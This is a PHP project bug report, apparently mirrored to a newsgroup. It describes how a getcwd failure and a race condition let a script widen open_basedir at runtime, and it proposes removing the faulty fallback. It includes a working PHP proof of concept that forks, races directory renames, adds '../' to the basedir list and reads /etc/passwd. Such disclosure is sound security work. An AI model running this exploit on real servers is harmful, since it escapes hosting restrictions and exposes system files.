[php-src] Issue #21961: open_basedir bypass via getcwd() failure and race condition
[email protected] (iluuu1994)
| Newsgroups | php.bugs |
|---|---|
| Message-ID | <[email protected]> |
Issue: https://github.com/php/php-src/issues/21961
Author: iluuu1994
### Description
Originally reported by @mdsnins.
`ZEND_INI_MH(OnUpdateBaseDir)` allows narrowing of `open_basedir` at runtime, but not widening. It does so by expanding each path in the string passed to `ini_set('open_basedir', 'path1:path2)` and verifying it is a sub-path of one of the existing `open_basedir` paths.
https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L101
https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L106
`expand_filepath()` resolves relative paths by fetching the cwd using `VCWD_GETCWD()` to resolve the relative path against (when `relative_to` is `NULL`, that is). `VCWD_GETCWD()` can fail and return `NULL` in some edge-case, the common one being that the length of the CWD exceeds the buffer size, specified by `MAXPATHLEN` (`4096` on Linux).
When `VCWD_GETCWD()` returns `NULL`, `expand_filepath_with_mode()` has a fallback that tries to open the relative file using `VCWD_OPEN()`, and letting the OS resolve the path.
https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L809-L828
This is bad for two reasons:
- When this operation succeeds, `VCWD_GETCWD()` returns the _unresolved_ path.
- The true cwd is not necessary the same as `VCWD_GETCWD()`. `VCWD_GETCWD()` handles cwd for zts, where we want a thread-specific cwd, rather than one per process. So even if the lookup succeeds, we might find the wrong file.
Now, these two separate checks allow `open_basedir` to be circumvented with a race-condition (which we don't consider a security issue due to `open_basedir` not being a security setting). Another process can expand the cwd of the current process by renaming some folder such that `VCWD_GETCWD()` operation fails (by exceeding `MAXPATHLEN`), and renaming it back for `VCWD_OPEN()` to succeed. When adding `../` to the `open_basedir` paths, `expand_filepath()` will return the unchanged path `"../"`, which will also pass the `open_basedir` check if we're currently present in a sub-folder of one of the `open_basedir` paths.
```php
<?php
chdir("/tmp");
@mkdir("poc/");
chdir("poc/");
echo "original basedir: " . ini_get("open_basedir") . "\n\n";
$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);
@mkdir($magic_depth, 0755, true);
chdir($magic_depth);
$pid = pcntl_fork();
if ($pid == -1) die;
if ($pid == 0) {
for ($i = 0; $i < 20; $i++) {
$cur_basedir = ini_get("open_basedir");
ini_set("open_basedir", $cur_basedir . ":../");
}
chdir("/tmp");
chdir("../");
$passwd = @file_get_contents("etc/passwd");
if (!$passwd)
die("failed\n");
echo "content of /etc/passwd: \n";
echo $passwd;
echo "\n";
} else {
chdir("/tmp"); //go back to original dir
for ($i = 0; $i < 3000; $i++) {
rename("poc", str_repeat("x", 250));
rename(str_repeat("x", 250), "poc");
}
}
```
The simplest solution is to just remove the fallback in `expand_filepath_with_mode()`, which is incorrect to begin with.
### PHP Version
```plain
-
```
### Operating System
_No response_